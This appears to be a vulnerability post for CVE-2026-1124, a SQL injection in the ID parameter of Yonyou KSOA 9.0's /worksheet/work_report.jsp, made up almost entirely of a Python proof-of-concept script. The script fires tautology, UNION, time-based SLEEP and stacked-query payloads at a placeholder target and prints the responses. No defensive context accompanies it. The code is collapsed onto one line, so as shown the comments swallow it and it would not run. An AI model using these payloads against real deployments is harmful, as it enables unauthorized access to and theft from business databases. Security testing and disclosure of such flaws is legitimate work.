CVE-2026-1124: 用友KSOA 9.0 work_report.jsp SQL注入漏洞

import requests # CVE-2026-1124 SQL Injection PoC for Yonyou KSOA 9.0 # Target: /worksheet/work_report.jsp # Parameter: ID target_url = "http://target-server/worksheet/work_report.jsp" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1'; SELECT COUNT(*) FROM users--" ] def test_sql_injection(url, param_name='ID'): for payload in payloads: params = {param_name: payload} try: response = requests.get(url, params=params, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response Length: {len(response.text)}") print("---") except requests.exceptions.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": test_sql_injection(target_url)